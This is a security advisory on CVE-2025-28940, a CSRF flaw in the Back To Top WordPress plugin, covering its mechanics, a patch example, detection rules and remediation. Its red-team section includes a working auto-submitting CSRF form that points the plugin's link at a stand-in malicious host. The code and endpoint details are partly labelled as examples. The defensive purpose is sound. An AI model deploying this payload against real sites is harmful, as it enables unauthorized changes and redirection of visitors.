CVE-2025-28940

Executive Summary

CVE-2025-28940 is a Cross-Site Request Forgery (CSRF) vulnerability in the Back To Top WordPress plugin (version ≤ 2.0) developed by arkapravamajumder. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious content, without their consent. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no official patch available. Given the plugin’s presence in the WordPress ecosystem, this issue poses a moderate risk to sites running the affected version, especially those with active administrative sessions.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the backtotop plugin version ≤ 2.0 is vulnerable. Since no patch exists, site administrators must consider removing or replacing the plugin to mitigate risk. The lack of vendor response increases the likelihood of unpatched installations remaining in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (attacker can modify plugin settings)
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to trick an admin into clicking a malicious link, but the impact is limited to plugin configuration changes.

Deep Dive & Mechanics

The CSRF vulnerability in the Back To Top plugin arises from a lack of nonce validation or CSRF tokens in its administrative actions. When an authenticated WordPress administrator accesses the plugin’s settings page, the plugin processes state-changing requests (e.g., updating the button position, color, or enabling/disabling features) without verifying the origin of the request. An attacker can craft a malicious HTML page or email containing a forged request that, when visited by the admin, silently modifies the plugin’s configuration.

Attack Flow:

1. Attacker identifies a target WordPress site running the vulnerable plugin.
2. Attacker crafts a CSRF exploit (e.g., an HTML form that auto-submits to the plugin’s settings endpoint).
3. Attacker lures the authenticated admin to the malicious page (via phishing, social media, etc.).
4. The admin’s browser sends the forged request with their session cookies, causing the plugin settings to change.
5. The attacker may alter the button’s link to point to a malicious site, inject JavaScript, or disable the plugin.

Root Cause: The plugin’s admin functions (likely in admin.php or similar) do not implement WordPress nonce checks (wp_verify_nonce()), making them vulnerable to CSRF.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code is the current state. A patched version would include nonce verification.

Vulnerable Code (Example from backtotop/admin/class-backtotop-admin.php):

function save_settings() {
    update_option('backtotop_settings', $_POST['backtotop_settings']);
    // No nonce check
}

Patched Code (Hypothetical):

function save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'backtotop_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('backtotop_settings', $_POST['backtotop_settings']);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Back To Top plugin ≤ 2.0.
• Authenticated admin session (victim must be logged in).

Exploit HTML (CSRF Payload):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=backtotop_save" method="POST">
    <input type="hidden" name="backtotop_settings[button_color]" value="#ff0000">
    <input type="hidden" name="backtotop_settings[link_url]" value="http://malicious.com">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the target admin via email or social engineering.
3. Once the admin visits the page, the form auto-submits, changing the plugin settings.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to the backtotop_settings option in the WordPress database.
• Look for unusual referrer headers in requests to /wp-admin/admin-post.php?action=backtotop_save.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
• Use Content Security Policy (CSP) headers to restrict form submissions from external origins.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /wp-admin/admin-post.php?action=backtotop_save with no referrer or unexpected referrer.
  • Outbound connections from the WordPress site to attacker-controlled domains (if the button link was changed).

• Host:

  • Modified backtotop_settings option in the WordPress database (e.g., button_color, link_url).
  • Presence of unexpected JavaScript in the plugin’s output (if the attacker injected code).

• Logs:

  • WordPress debug log entries showing failed nonce checks (if patched, but not applicable here).
  • Web server access logs with suspicious POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_28940_CSRF_BackToTop {
    meta:
        description = "Detects CSRF exploit attempts against Back To Top plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28940"
    strings:
        $admin_action = "admin-post.php?action=backtotop_save"
        $settings_param = "backtotop_settings"
    condition:
        $admin_action and $settings_param
}

Sigma Rule

title: CVE-2025-28940 CSRF Exploit Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests targeting the Back To Top plugin's admin action without proper CSRF tokens.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=backtotop_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28940 CSRF Exploit - Back To Top Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=backtotop_save"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Back To Top plugin from all WordPress installations until a patch is released.
2. Audit all WordPress admin users for signs of compromise (e.g., unexpected plugin settings changes).
3. Implement CSRF protection manually by adding nonce checks to the plugin’s admin functions (see patched code example).

Long-Term Mitigation:

• Replace the plugin with an alternative that is actively maintained and includes CSRF protection.
• Enforce the use of WordPress nonces in all custom plugin development.
• Deploy a WAF with rules to block CSRF-like requests (e.g., missing Referer header).

Vendor Communication:

• Since the vendor is unresponsive, consider forking the plugin and applying the patch yourself, or report the issue to the WordPress Plugin Review Team for removal from the repository.

Valters IT
Securing Digital Frontiers